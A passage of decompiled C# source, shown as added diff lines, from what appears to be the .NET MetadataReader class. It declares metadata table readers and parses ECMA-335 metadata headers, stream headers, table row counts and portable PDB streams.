DeclSecurityTableReader DeclSecurityTable; + + internal ClassLayoutTableReader ClassLayoutTable; + + internal FieldLayoutTableReader FieldLayoutTable; + + internal StandAloneSigTableReader StandAloneSigTable; + + internal EventMapTableReader EventMapTable; + + internal EventPtrTableReader EventPtrTable; + + internal EventTableReader EventTable; + + internal PropertyMapTableReader PropertyMapTable; + + internal PropertyPtrTableReader PropertyPtrTable; + + internal PropertyTableReader PropertyTable; + + internal MethodSemanticsTableReader MethodSemanticsTable; + + internal MethodImplTableReader MethodImplTable; + + internal ModuleRefTableReader ModuleRefTable; + + internal TypeSpecTableReader TypeSpecTable; + + internal ImplMapTableReader ImplMapTable; + + internal FieldRVATableReader FieldRvaTable; + + internal EnCLogTableReader EncLogTable; + + internal EnCMapTableReader EncMapTable; + + internal AssemblyTableReader AssemblyTable; + + internal AssemblyProcessorTableReader AssemblyProcessorTable; + + internal AssemblyOSTableReader AssemblyOSTable; + + internal AssemblyRefTableReader AssemblyRefTable; + + internal AssemblyRefProcessorTableReader AssemblyRefProcessorTable; + + internal AssemblyRefOSTableReader AssemblyRefOSTable; + + internal FileTableReader FileTable; + + internal ExportedTypeTableReader ExportedTypeTable; + + internal ManifestResourceTableReader ManifestResourceTable; + + internal NestedClassTableReader NestedClassTable; + + internal GenericParamTableReader GenericParamTable; + + internal MethodSpecTableReader MethodSpecTable; + + internal GenericParamConstraintTableReader GenericParamConstraintTable; + + internal DocumentTableReader DocumentTable; + + internal MethodDebugInformationTableReader MethodDebugInformationTable; + + internal LocalScopeTableReader LocalScopeTable; + + internal LocalVariableTableReader LocalVariableTable; + + internal LocalConstantTableReader LocalConstantTable; + + internal ImportScopeTableReader ImportScopeTable; + + internal StateMachineMethodTableReader StateMachineMethodTable; + + internal CustomDebugInformationTableReader CustomDebugInformationTable; + + private const int SmallIndexSize = 2; + + private const int LargeIndexSize = 4; + + internal const string ClrPrefix = ""; + + internal static readonly byte[] WinRTPrefix = ""u8.ToArray(); + + private static string[] s_projectedTypeNames; + + private static ProjectionInfo[] s_projectionInfos; + + internal bool UseFieldPtrTable => FieldPtrTable.NumberOfRows > 0; + + internal bool UseMethodPtrTable => MethodPtrTable.NumberOfRows > 0; + + internal bool UseParamPtrTable => ParamPtrTable.NumberOfRows > 0; + + internal bool UseEventPtrTable => EventPtrTable.NumberOfRows > 0; + + internal bool UsePropertyPtrTable => PropertyPtrTable.NumberOfRows > 0; + + public unsafe byte* MetadataPointer => Block.Pointer; + + public int MetadataLength => Block.Length; + + public MetadataReaderOptions Options => _options; + + public string MetadataVersion => _versionString; + + public DebugMetadataHeader? DebugMetadataHeader => _debugMetadataHeader; + + public MetadataKind MetadataKind => _metadataKind; + + public MetadataStringComparer StringComparer => new MetadataStringComparer(this); + + public MetadataStringDecoder UTF8Decoder { get; } + + public bool IsAssembly => AssemblyTable.NumberOfRows == 1; + + public AssemblyReferenceHandleCollection AssemblyReferences => new AssemblyReferenceHandleCollection(this); + + public TypeDefinitionHandleCollection TypeDefinitions => new TypeDefinitionHandleCollection(TypeDefTable.NumberOfRows); + + public TypeReferenceHandleCollection TypeReferences => new TypeReferenceHandleCollection(TypeRefTable.NumberOfRows); + + public CustomAttributeHandleCollection CustomAttributes => new CustomAttributeHandleCollection(this); + + public DeclarativeSecurityAttributeHandleCollection DeclarativeSecurityAttributes => new DeclarativeSecurityAttributeHandleCollection(this); + + public MemberReferenceHandleCollection MemberReferences => new MemberReferenceHandleCollection(MemberRefTable.NumberOfRows); + + public ManifestResourceHandleCollection ManifestResources => new ManifestResourceHandleCollection(ManifestResourceTable.NumberOfRows); + + public AssemblyFileHandleCollection AssemblyFiles => new AssemblyFileHandleCollection(FileTable.NumberOfRows); + + public ExportedTypeHandleCollection ExportedTypes => new ExportedTypeHandleCollection(ExportedTypeTable.NumberOfRows); + + public MethodDefinitionHandleCollection MethodDefinitions => new MethodDefinitionHandleCollection(this); + + public FieldDefinitionHandleCollection FieldDefinitions => new FieldDefinitionHandleCollection(this); + + public EventDefinitionHandleCollection EventDefinitions => new EventDefinitionHandleCollection(this); + + public PropertyDefinitionHandleCollection PropertyDefinitions => new PropertyDefinitionHandleCollection(this); + + public DocumentHandleCollection Documents => new DocumentHandleCollection(this); + + public MethodDebugInformationHandleCollection MethodDebugInformation => new MethodDebugInformationHandleCollection(this); + + public LocalScopeHandleCollection LocalScopes => new LocalScopeHandleCollection(this, 0); + + public LocalVariableHandleCollection LocalVariables => new LocalVariableHandleCollection(this, default(LocalScopeHandle)); + + public LocalConstantHandleCollection LocalConstants => new LocalConstantHandleCollection(this, default(LocalScopeHandle)); + + public ImportScopeCollection ImportScopes => new ImportScopeCollection(this); + + public CustomDebugInformationHandleCollection CustomDebugInformation => new CustomDebugInformationHandleCollection(this); + + internal AssemblyName GetAssemblyName(StringHandle nameHandle, Version version, StringHandle cultureHandle, BlobHandle publicKeyOrTokenHandle, AssemblyHashAlgorithm assemblyHashAlgorithm, AssemblyFlags flags) + { + string name = GetString(nameHandle); + string cultureName = ((!cultureHandle.IsNil) ? GetString(cultureHandle) : ""); + byte[] array = ((!publicKeyOrTokenHandle.IsNil) ? GetBlobBytes(publicKeyOrTokenHandle) : Array.Empty()); + AssemblyName assemblyName = new AssemblyName + { + Name = name, + Version = version, + CultureName = cultureName, + HashAlgorithm = (System.Configuration.Assemblies.AssemblyHashAlgorithm)assemblyHashAlgorithm, + Flags = GetAssemblyNameFlags(flags), + ContentType = GetContentTypeFromAssemblyFlags(flags) + }; + if ((flags & AssemblyFlags.PublicKey) != 0) + { + assemblyName.SetPublicKey(array); + } + else + { + assemblyName.SetPublicKeyToken(array); + } + return assemblyName; + } + + public unsafe static AssemblyName GetAssemblyName(string assemblyFile) + { + if (assemblyFile == null) + { + Throw.ArgumentNull("assemblyFile"); + } + FileStream fileStream = null; + MemoryMappedFile memoryMappedFile = null; + MemoryMappedViewAccessor memoryMappedViewAccessor = null; + PEReader pEReader = null; + try + { + try + { + fileStream = new FileStream(assemblyFile, FileMode.Open, FileAccess.Read, FileShare.Read, 1, useAsync: false); + if (fileStream.Length == 0L) + { + throw new BadImageFormatException(System.SR.PEImageDoesNotHaveMetadata, assemblyFile); + } + memoryMappedFile = MemoryMappedFile.CreateFromFile(fileStream, null, fileStream.Length, MemoryMappedFileAccess.Read, HandleInheritability.None, leaveOpen: true); + memoryMappedViewAccessor = memoryMappedFile.CreateViewAccessor(0L, 0L, MemoryMappedFileAccess.Read); + SafeMemoryMappedViewHandle safeMemoryMappedViewHandle = memoryMappedViewAccessor.SafeMemoryMappedViewHandle; + pEReader = new PEReader((byte*)(void*)safeMemoryMappedViewHandle.DangerousGetHandle(), (int)safeMemoryMappedViewHandle.ByteLength); + MetadataReader metadataReader = pEReader.GetMetadataReader(MetadataReaderOptions.None); + return metadataReader.GetAssemblyDefinition().GetAssemblyName(); + } + finally + { + pEReader?.Dispose(); + memoryMappedViewAccessor?.Dispose(); + memoryMappedFile?.Dispose(); + fileStream?.Dispose(); + } + } + catch (InvalidOperationException ex) + { + throw new BadImageFormatException(ex.Message); + } + } + + private static AssemblyNameFlags GetAssemblyNameFlags(AssemblyFlags flags) + { + AssemblyNameFlags assemblyNameFlags = AssemblyNameFlags.None; + if ((flags & AssemblyFlags.PublicKey) != 0) + { + assemblyNameFlags |= AssemblyNameFlags.PublicKey; + } + if ((flags & AssemblyFlags.Retargetable) != 0) + { + assemblyNameFlags |= AssemblyNameFlags.Retargetable; + } + if ((flags & AssemblyFlags.EnableJitCompileTracking) != 0) + { + assemblyNameFlags |= AssemblyNameFlags.EnableJITcompileTracking; + } + if ((flags & AssemblyFlags.DisableJitCompileOptimizer) != 0) + { + assemblyNameFlags |= AssemblyNameFlags.EnableJITcompileOptimizer; + } + return assemblyNameFlags; + } + + private static AssemblyContentType GetContentTypeFromAssemblyFlags(AssemblyFlags flags) + { + return (AssemblyContentType)((int)(flags & AssemblyFlags.ContentTypeMask) >> 9); + } + + public unsafe MetadataReader(byte* metadata, int length) + : this(metadata, length, MetadataReaderOptions.Default, null, null) + { + } + + public unsafe MetadataReader(byte* metadata, int length, MetadataReaderOptions options) + : this(metadata, length, options, null, null) + { + } + + public unsafe MetadataReader(byte* metadata, int length, MetadataReaderOptions options, MetadataStringDecoder? utf8Decoder) + : this(metadata, length, options, utf8Decoder, null) + { + } + + internal unsafe MetadataReader(byte* metadata, int length, MetadataReaderOptions options, MetadataStringDecoder? utf8Decoder, object? memoryOwner) + { + if (length < 0) + { + Throw.ArgumentOutOfRange("length"); + } + if (metadata == null) + { + Throw.ArgumentNull("metadata"); + } + if (utf8Decoder == null) + { + utf8Decoder = MetadataStringDecoder.DefaultUTF8; + } + if (!(utf8Decoder.Encoding is UTF8Encoding)) + { + Throw.InvalidArgument(System.SR.MetadataStringDecoderEncodingMustBeUtf8, "utf8Decoder"); + } + Block = new MemoryBlock(metadata, length); + _memoryOwnerObj = memoryOwner; + _options = options; + UTF8Decoder = utf8Decoder; + BlobReader memReader = new BlobReader(Block); + ReadMetadataHeader(ref memReader, out _versionString); + _metadataKind = GetMetadataKind(_versionString); + StreamHeader[] streamHeaders = ReadStreamHeaders(ref memReader); + InitializeStreamReaders(in Block, streamHeaders, out _metadataStreamKind, out var metadataTableStream, out var standalonePdbStream); + int[] externalTableRowCounts; + if (standalonePdbStream.Length > 0) + { + int pdbStreamOffset = (int)(standalonePdbStream.Pointer - metadata); + ReadStandalonePortablePdbStream(standalonePdbStream, pdbStreamOffset, out _debugMetadataHeader, out externalTableRowCounts); + } + else + { + externalTableRowCounts = null; + } + BlobReader reader = new BlobReader(metadataTableStream); + ReadMetadataTableHeader(ref reader, out var heapSizes, out var metadataTableRowCounts, out _sortedTables); + InitializeTableReaders(reader.GetMemoryBlockAt(0, reader.RemainingBytes), heapSizes, metadataTableRowCounts, externalTableRowCounts); + if (standalonePdbStream.Length == 0 && ModuleTable.NumberOfRows < 1) + { + throw new BadImageFormatException(System.SR.Format(System.SR.ModuleTableInvalidNumberOfRows, ModuleTable.NumberOfRows)); + } + NamespaceCache = new NamespaceCache(this); + if (_metadataKind != MetadataKind.Ecma335) + { + WinMDMscorlibRef = FindMscorlibAssemblyRefNoProjection(); + } + } + + private void ReadMetadataHeader(ref BlobReader memReader, out string versionString) + { + if (memReader.RemainingBytes < 16) + { + throw new BadImageFormatException(System.SR.MetadataHeaderTooSmall); + } + uint num = memReader.ReadUInt32(); + if (num != 1112167234) + { + throw new BadImageFormatException(System.SR.MetadataSignature); + } + memReader.ReadUInt16(); + memReader.ReadUInt16(); + memReader.ReadUInt32(); + int num2 = memReader.ReadInt32(); + if (memReader.RemainingBytes < num2) + { + throw new BadImageFormatException(System.SR.NotEnoughSpaceForVersionString); + } + versionString = memReader.GetMemoryBlockAt(0, num2).PeekUtf8NullTerminated(0, null, UTF8Decoder, out var _); + memReader.Offset += num2; + } + + private MetadataKind GetMetadataKind(string versionString) + { + if ((_options & MetadataReaderOptions.Default) == 0) + { + return MetadataKind.Ecma335; + } + if (!versionString.Contains("WindowsRuntime")) + { + return MetadataKind.Ecma335; + } + if (versionString.Contains("CLR")) + { + return MetadataKind.ManagedWindowsMetadata; + } + return MetadataKind.WindowsMetadata; + } + + private static StreamHeader[] ReadStreamHeaders(ref BlobReader memReader) + { + memReader.ReadUInt16(); + int num = memReader.ReadInt16(); + StreamHeader[] array = new StreamHeader[num]; + for (int i = 0; i < array.Length; i++) + { + if (memReader.RemainingBytes < 8) + { + throw new BadImageFormatException(System.SR.StreamHeaderTooSmall); + } + array[i].Offset = memReader.ReadUInt32(); + array[i].Size = memReader.ReadInt32(); + array[i].Name = memReader.ReadUtf8NullTerminated(); + if (!memReader.TryAlign(4) || memReader.RemainingBytes == 0) + { + throw new BadImageFormatException(System.SR.NotEnoughSpaceForStreamHeaderName); + } + } + return array; + } + + private void InitializeStreamReaders(in MemoryBlock metadataRoot, StreamHeader[] streamHeaders, out MetadataStreamKind metadataStreamKind, out MemoryBlock metadataTableStream, out MemoryBlock standalonePdbStream) + { + metadataTableStream = default(MemoryBlock); + standalonePdbStream = default(MemoryBlock); + metadataStreamKind = MetadataStreamKind.Illegal; + for (int i = 0; i < streamHeaders.Length; i++) + { + StreamHeader streamHeader = streamHeaders[i]; + switch (streamHeader.Name) + { + case "#Strings": + if (metadataRoot.Length < streamHeader.Offset + streamHeader.Size) + { + throw new BadImageFormatException(System.SR.NotEnoughSpaceForStringStream); + } + StringHeap = new StringHeap(metadataRoot.GetMemoryBlockAt((int)streamHeader.Offset, streamHeader.Size), _metadataKind); + break; + case "#Blob": + if (metadataRoot.Length < streamHeader.Offset + streamHeader.Size) + { + throw new BadImageFormatException(System.SR.NotEnoughSpaceForBlobStream); + } + BlobHeap = new BlobHeap(metadataRoot.GetMemoryBlockAt((int)streamHeader.Offset, streamHeader.Size), _metadataKind); + break; + case "#GUID": + if (metadataRoot.Length < streamHeader.Offset + streamHeader.Size) + { + throw new BadImageFormatException(System.SR.NotEnoughSpaceForGUIDStream); + } + GuidHeap = new GuidHeap(metadataRoot.GetMemoryBlockAt((int)streamHeader.Offset, streamHeader.Size)); + break; + case "#US": + if (metadataRoot.Length < streamHeader.Offset + streamHeader.Size) + { + throw new BadImageFormatException(System.SR.NotEnoughSpaceForBlobStream); + } + UserStringHeap = new UserStringHeap(metadataRoot.GetMemoryBlockAt((int)streamHeader.Offset, streamHeader.Size)); + break; + case "#~": + if (metadataRoot.Length < streamHeader.Offset + streamHeader.Size) + { + throw new BadImageFormatException(System.SR.NotEnoughSpaceForMetadataStream); + } + metadataStreamKind = MetadataStreamKind.Compressed; + metadataTableStream = metadataRoot.GetMemoryBlockAt((int)streamHeader.Offset, streamHeader.Size); + break; + case "#-": + if (metadataRoot.Length < streamHeader.Offset + streamHeader.Size) + { + throw new BadImageFormatException(System.SR.NotEnoughSpaceForMetadataStream); + } + metadataStreamKind = MetadataStreamKind.Uncompressed; + metadataTableStream = metadataRoot.GetMemoryBlockAt((int)streamHeader.Offset, streamHeader.Size); + break; + case "#JTD": + if (metadataRoot.Length < streamHeader.Offset + streamHeader.Size) + { + throw new BadImageFormatException(System.SR.NotEnoughSpaceForMetadataStream); + } + IsMinimalDelta = true; + break; + case "#Pdb": + if (metadataRoot.Length < streamHeader.Offset + streamHeader.Size) + { + throw new BadImageFormatException(System.SR.NotEnoughSpaceForMetadataStream); + } + standalonePdbStream = metadataRoot.GetMemoryBlockAt((int)streamHeader.Offset, streamHeader.Size); + break; + } + } + if (IsMinimalDelta && metadataStreamKind != MetadataStreamKind.Uncompressed) + { + throw new BadImageFormatException(System.SR.InvalidMetadataStreamFormat); + } + } + + private void ReadMetadataTableHeader(ref BlobReader reader, out HeapSizes heapSizes, out int[] metadataTableRowCounts, out TableMask sortedTables) + { + if (reader.RemainingBytes < 24) + { + throw new BadImageFormatException(System.SR.MetadataTableHeaderTooSmall); + } + reader.ReadUInt32(); + reader.ReadByte(); + reader.ReadByte(); + heapSizes = (HeapSizes)reader.ReadByte(); + reader.ReadByte(); + ulong num = reader.ReadUInt64(); + sortedTables = (TableMask)reader.ReadUInt64(); + ulong num2 = 71811071505072127uL; + if ((num & ~num2) != 0L) + { + throw new BadImageFormatException(System.SR.Format(System.SR.UnknownTables, num)); + } + if (_metadataStreamKind == MetadataStreamKind.Compressed && (num & 0x804800A8u) != 0L) + { + throw new BadImageFormatException(System.SR.IllegalTablesInCompressedMetadataStream); + } + metadataTableRowCounts = ReadMetadataTableRowCounts(ref reader, num); + if ((heapSizes & HeapSizes.ExtraData) == HeapSizes.ExtraData) + { + reader.ReadUInt32(); + } + } + + private static int[] ReadMetadataTableRowCounts(ref BlobReader memReader, ulong presentTableMask) + { + ulong num = 1uL; + int[] array = new int[MetadataTokens.TableCount]; + for (int i = 0; i < array.Length; i++) + { + if ((presentTableMask & num) != 0L) + { + if (memReader.RemainingBytes < 4) + { + throw new BadImageFormatException(System.SR.TableRowCountSpaceTooSmall); + } + uint num2 = memReader.ReadUInt32(); + if (num2 > 16777215) + { + throw new BadImageFormatException(System.SR.Format(System.SR.InvalidRowCount, num2)); + } + array[i] = (int)num2; + } + num <<= 1; + } + return array; + } + + internal static void ReadStandalonePortablePdbStream(MemoryBlock pdbStreamBlock, int pdbStreamOffset, out DebugMetadataHeader debugMetadataHeader, out int[] externalTableRowCounts) + { + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + BlobReader memReader = new BlobReader(pdbStreamBlock); + byte[] array = memReader.ReadBytes(20); + uint num = memReader.ReadUInt32(); + int num2 = (int)(num & 0xFFFFFF); + if (num != 0 && ((num & 0x7F000000) != 100663296 || num2 == 0)) + { + throw new BadImageFormatException(System.SR.Format(System.SR.InvalidEntryPointToken, num)); + } + ulong num3 = memReader.ReadUInt64(); + if ((num3 & 0xFFFFE036C04800A8uL) != 0L) + { + throw new BadImageFormatException(System.SR.Format(System.SR.UnknownTables, num3)); + } + externalTableRowCounts = ReadMetadataTableRowCounts(ref memReader, num3); + debugMetadataHeader = new DebugMetadataHeader(ImmutableByteArrayInterop.DangerousCreateFromUnderlyingArray(ref array), MethodDefinitionHandle.FromRowId(num2), pdbStreamOffset); + } + + private int GetReferenceSize(int[] rowCounts, TableIndex index) + { + if ((long)rowCounts[(uint)index] >= 65536L || IsMinimalDelta) + { + return 4; + } + return 2; + } + + private void InitializeTableReaders(MemoryBlock metadataTablesMemoryBlock, HeapSizes heapSizes, int[] rowCounts, int[] externalRowCountsOpt) + { + TableRowCounts = rowCounts; + int fieldRefSize = ((GetReferenceSize(rowCounts, TableIndex.FieldPtr) > 2) ? 4 : GetReferenceSize(rowCounts, TableIndex.Field)); + int methodRefSize = ((GetReferenceSize(rowCounts, TableIndex.MethodPtr) > 2) ? 4 : GetReferenceSize(rowCounts, TableIndex.MethodDef)); + int paramRefSize = ((GetReferenceSize(rowCounts, TableIndex.ParamPtr) > 2) ? 4 : GetReferenceSize(rowCounts, TableIndex.Param)); + int eventRefSize = ((GetReferenceSize(rowCounts, TableIndex.EventPtr) > 2) ? 4 : GetReferenceSize(rowCounts, TableIndex.Event)); + int propertyRefSize = ((GetReferenceSize(rowCounts, TableIndex.PropertyPtr) > 2) ? 4 : GetReferenceSize(rowCounts, TableIndex.Property)); + int typeDefOrRefRefSize = ComputeCodedTokenSize(16384, rowCounts, TableMask.TypeRef | TableMask.TypeDef | TableMask.TypeSpec); + int hasConstantRefSize = ComputeCodedTokenSize(16384, rowCounts, TableMask.Field | TableMask.Param | TableMask.Property); + int hasCustomAttributeRefSize = ComputeCodedTokenSize(2048, rowCounts, TableMask.Module | TableMask.TypeRef | TableMask.TypeDef | TableMask.Field | TableMask.MethodDef | TableMask.Param | TableMask.InterfaceImpl | TableMask.MemberRef | TableMask.DeclSecurity | TableMask.StandAloneSig | TableMask.Event | TableMask.Property | TableMask.ModuleRef | TableMask.TypeSpec | TableMask.Assembly | TableMask.AssemblyRef | TableMask.File | TableMask.ExportedType | TableMask.ManifestResource | TableMask.GenericParam | TableMask.MethodSpec | TableMask.GenericParamConstraint); + int hasFieldMarshalRefSize = ComputeCodedTokenSize(32768, rowCounts, TableMask.Field | TableMask.Param); + int hasDeclSecurityRefSize = ComputeCodedTokenSize(16384, rowCounts, TableMask.TypeDef | TableMask.MethodDef | TableMask.Assembly); + int memberRefParentRefSize = ComputeCodedTokenSize(8192, rowCounts, TableMask.TypeRef | TableMask.TypeDef | TableMask.MethodDef | TableMask.ModuleRef | TableMask.TypeSpec); + int hasSemanticRefSize = ComputeCodedTokenSize(32768, rowCounts, TableMask.Event | TableMask.Property); + int methodDefOrRefRefSize = ComputeCodedTokenSize(32768, rowCounts, TableMask.MethodDef | TableMask.MemberRef); + int memberForwardedRefSize = ComputeCodedTokenSize(32768, rowCounts, TableMask.Field | TableMask.MethodDef); + int implementationRefSize = ComputeCodedTokenSize(16384, rowCounts, TableMask.AssemblyRef | TableMask.File | TableMask.ExportedType); + int customAttributeTypeRefSize = ComputeCodedTokenSize(8192, rowCounts, TableMask.MethodDef | TableMask.MemberRef); + int resolutionScopeRefSize = ComputeCodedTokenSize(16384, rowCounts, TableMask.Module | TableMask.TypeRef | TableMask.ModuleRef | TableMask.AssemblyRef); + int typeOrMethodDefRefSize = ComputeCodedTokenSize(32768, rowCounts, TableMask.TypeDef | TableMask.MethodDef); + int stringHeapRefSize = (((heapSizes & HeapSizes.StringHeapLarge) == HeapSizes.StringHeapLarge) ? 4 : 2); + int guidHeapRefSize = (((heapSizes & HeapSizes.GuidHeapLarge) == HeapSizes.GuidHeapLarge) ? 4 : 2); + int blobHeapRefSize = (((heapSizes & HeapSizes.BlobHeapLarge) == HeapSizes.BlobHeapLarge) ? 4 : 2); + int num = 0; + ModuleTable = new ModuleTableReader(rowCounts[0], stringHeapRefSize, guidHeapRefSize, metadataTablesMemoryBlock, num); + num += ModuleTable.Block.Length; + TypeRefTable = new TypeRefTableReader(rowCounts[1], resolutionScopeRefSize, stringHeapRefSize, metadataTablesMemoryBlock, num); + num += TypeRefTable.Block.Length; + TypeDefTable = new TypeDefTableReader(rowCounts[2], fieldRefSize, methodRefSize, typeDefOrRefRefSize, stringHeapRefSize, metadataTablesMemoryBlock, num); + num += TypeDefTable.Block.Length; + FieldPtrTable = new FieldPtrTableReader(rowCounts[3], GetReferenceSize(rowCounts, TableIndex.Field), metadataTablesMemoryBlock, num); + num += FieldPtrTable.Block.Length; + FieldTable = new FieldTableReader(rowCounts[4], stringHeapRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += FieldTable.Block.Length; + MethodPtrTable = new MethodPtrTableReader(rowCounts[5], GetReferenceSize(rowCounts, TableIndex.MethodDef), metadataTablesMemoryBlock, num); + num += MethodPtrTable.Block.Length; + MethodDefTable = new MethodTableReader(rowCounts[6], paramRefSize, stringHeapRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += MethodDefTable.Block.Length; + ParamPtrTable = new ParamPtrTableReader(rowCounts[7], GetReferenceSize(rowCounts, TableIndex.Param), metadataTablesMemoryBlock, num); + num += ParamPtrTable.Block.Length; + ParamTable = new ParamTableReader(rowCounts[8], stringHeapRefSize, metadataTablesMemoryBlock, num); + num += ParamTable.Block.Length; + InterfaceImplTable = new InterfaceImplTableReader(rowCounts[9], IsDeclaredSorted(TableMask.InterfaceImpl), GetReferenceSize(rowCounts, TableIndex.TypeDef), typeDefOrRefRefSize, metadataTablesMemoryBlock, num); + num += InterfaceImplTable.Block.Length; + MemberRefTable = new MemberRefTableReader(rowCounts[10], memberRefParentRefSize, stringHeapRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += MemberRefTable.Block.Length; + ConstantTable = new ConstantTableReader(rowCounts[11], IsDeclaredSorted(TableMask.Constant), hasConstantRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += ConstantTable.Block.Length; + CustomAttributeTable = new CustomAttributeTableReader(rowCounts[12], IsDeclaredSorted(TableMask.CustomAttribute), hasCustomAttributeRefSize, customAttributeTypeRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += CustomAttributeTable.Block.Length; + FieldMarshalTable = new FieldMarshalTableReader(rowCounts[13], IsDeclaredSorted(TableMask.FieldMarshal), hasFieldMarshalRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += FieldMarshalTable.Block.Length; + DeclSecurityTable = new DeclSecurityTableReader(rowCounts[14], IsDeclaredSorted(TableMask.DeclSecurity), hasDeclSecurityRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += DeclSecurityTable.Block.Length; + ClassLayoutTable = new ClassLayoutTableReader(rowCounts[15], IsDeclaredSorted(TableMask.ClassLayout), GetReferenceSize(rowCounts, TableIndex.TypeDef), metadataTablesMemoryBlock, num); + num += ClassLayoutTable.Block.Length; + FieldLayoutTable = new FieldLayoutTableReader(rowCounts[16], IsDeclaredSorted(TableMask.FieldLayout), GetReferenceSize(rowCounts, TableIndex.Field), metadataTablesMemoryBlock, num); + num += FieldLayoutTable.Block.Length; + StandAloneSigTable = new StandAloneSigTableReader(rowCounts[17], blobHeapRefSize, metadataTablesMemoryBlock, num); + num += StandAloneSigTable.Block.Length; + EventMapTable = new EventMapTableReader(rowCounts[18], GetReferenceSize(rowCounts, TableIndex.TypeDef), eventRefSize, metadataTablesMemoryBlock, num); + num += EventMapTable.Block.Length; + EventPtrTable = new EventPtrTableReader(rowCounts[19], GetReferenceSize(rowCounts, TableIndex.Event), metadataTablesMemoryBlock, num); + num += EventPtrTable.Block.Length; + EventTable = new EventTableReader(rowCounts[20], typeDefOrRefRefSize, stringHeapRefSize, metadataTablesMemoryBlock, num); + num += EventTable.Block.Length; + PropertyMapTable = new PropertyMapTableReader(rowCounts[21], GetReferenceSize(rowCounts, TableIndex.TypeDef), propertyRefSize, metadataTablesMemoryBlock, num); + num += PropertyMapTable.Block.Length; + PropertyPtrTable = new PropertyPtrTableReader(rowCounts[22], GetReferenceSize(rowCounts, TableIndex.Property), metadataTablesMemoryBlock, num); + num += PropertyPtrTable.Block.Length; + PropertyTable = new PropertyTableReader(rowCounts[23], stringHeapRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += PropertyTable.Block.Length; + MethodSemanticsTable = new MethodSemanticsTableReader(rowCounts[24], IsDeclaredSorted(TableMask.MethodSemantics), GetReferenceSize(rowCounts, TableIndex.MethodDef), hasSemanticRefSize, metadataTablesMemoryBlock, num); + num += MethodSemanticsTable.Block.Length; + MethodImplTable = new MethodImplTableReader(rowCounts[25], IsDeclaredSorted(TableMask.MethodImpl), GetReferenceSize(rowCounts, TableIndex.TypeDef), methodDefOrRefRefSize, metadataTablesMemoryBlock, num); + num += MethodImplTable.Block.Length; + ModuleRefTable = new ModuleRefTableReader(rowCounts[26], stringHeapRefSize, metadataTablesMemoryBlock, num); + num += ModuleRefTable.Block.Length; + TypeSpecTable = new TypeSpecTableReader(rowCounts[27], blobHeapRefSize, metadataTablesMemoryBlock, num); + num += TypeSpecTable.Block.Length; + ImplMapTable = new ImplMapTableReader(rowCounts[28], IsDeclaredSorted(TableMask.ImplMap), GetReferenceSize(rowCounts, TableIndex.ModuleRef), memberForwardedRefSize, stringHeapRefSize, metadataTablesMemoryBlock, num); + num += ImplMapTable.Block.Length; + FieldRvaTable = new FieldRVATableReader(rowCounts[29], IsDeclaredSorted(TableMask.FieldRva), GetReferenceSize(rowCounts, TableIndex.Field), metadataTablesMemoryBlock, num); + num += FieldRvaTable.Block.Length; + EncLogTable = new EnCLogTableReader(rowCounts[30], metadataTablesMemoryBlock, num, _metadataStreamKind); + num += EncLogTable.Block.Length; + EncMapTable = new EnCMapTableReader(rowCounts[31], metadataTablesMemoryBlock, num); + num += EncMapTable.Block.Length; + AssemblyTable = new AssemblyTableReader(rowCounts[32], stringHeapRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += AssemblyTable.Block.Length; + AssemblyProcessorTable = new AssemblyProcessorTableReader(rowCounts[33], metadataTablesMemoryBlock, num); + num += AssemblyProcessorTable.Block.Length; + AssemblyOSTable = new AssemblyOSTableReader(rowCounts[34], metadataTablesMemoryBlock, num); + num += AssemblyOSTable.Block.Length; + AssemblyRefTable = new AssemblyRefTableReader(rowCounts[35], stringHeapRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num, _metadataKind); + num += AssemblyRefTable.Block.Length; + AssemblyRefProcessorTable = new AssemblyRefProcessorTableReader(rowCounts[36], GetReferenceSize(rowCounts, TableIndex.AssemblyRef), metadataTablesMemoryBlock, num); + num += AssemblyRefProcessorTable.Block.Length; + AssemblyRefOSTable = new AssemblyRefOSTableReader(rowCounts[37], GetReferenceSize(rowCounts, TableIndex.AssemblyRef), metadataTablesMemoryBlock, num); + num += AssemblyRefOSTable.Block.Length; + FileTable = new FileTableReader(rowCounts[38], stringHeapRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += FileTable.Block.Length; + ExportedTypeTable = new ExportedTypeTableReader(rowCounts[39], implementationRefSize, stringHeapRefSize, metadataTablesMemoryBlock, num); + num += ExportedTypeTable.Block.Length; + ManifestResourceTable = new ManifestResourceTableReader(rowCounts[40], implementationRefSize, stringHeapRefSize, metadataTablesMemoryBlock, num); + num += ManifestResourceTable.Block.Length; + NestedClassTable = new NestedClassTableReader(rowCounts[41], IsDeclaredSorted(TableMask.NestedClass), GetReferenceSize(rowCounts, TableIndex.TypeDef), metadataTablesMemoryBlock, num); + num += NestedClassTable.Block.Length; + GenericParamTable = new GenericParamTableReader(rowCounts[42], IsDeclaredSorted(TableMask.GenericParam), typeOrMethodDefRefSize, stringHeapRefSize, metadataTablesMemoryBlock, num); + num += GenericParamTable.Block.Length; + MethodSpecTable = new MethodSpecTableReader(rowCounts[43], methodDefOrRefRefSize, blobHeapRefSize, metadataTablesMemoryBlock, num); + num += MethodSpecTable.Block.Length; + GenericParamConstraintTable = new GenericParamConstraintTableReader(rowCounts[44], IsDeclaredSorted(TableMask.GenericParamConstraint), GetReferenceSize(rowCounts, TableIndex.GenericParam), typeDefOrRefRefSize, metadataTablesMemoryBlock, num); + num += GenericParamConstraintTable.Block.Length; + int[] rowCounts2 = ((externalRowCountsOpt != null) ? CombineRowCounts(rowCounts, externalRowCountsOpt, TableIndex.Document) : rowCounts); + int referenceSize = GetReferenceSize(rowCounts2, TableIndex.MethodDef); + int hasCustomDebugInformationRefSize = ComputeCodedTokenSize(2048, rowCounts2, TableMask.Module | TableMask.TypeRef | TableMask.TypeDef | TableMask.Field | TableMask.MethodDef | TableMask.Param | TableMask.InterfaceImpl | TableMask.MemberRef | TableMask.DeclSecurity | TableMask.StandAloneSig | TableMask.Event | TableMask.Property | TableMask.ModuleRef | TableMask.TypeSpec | TableMask.Assembly | 